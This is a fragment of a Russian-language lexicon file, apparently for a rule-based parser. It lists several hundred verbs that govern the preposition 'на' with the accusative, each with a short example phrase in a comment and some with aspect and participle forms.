rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
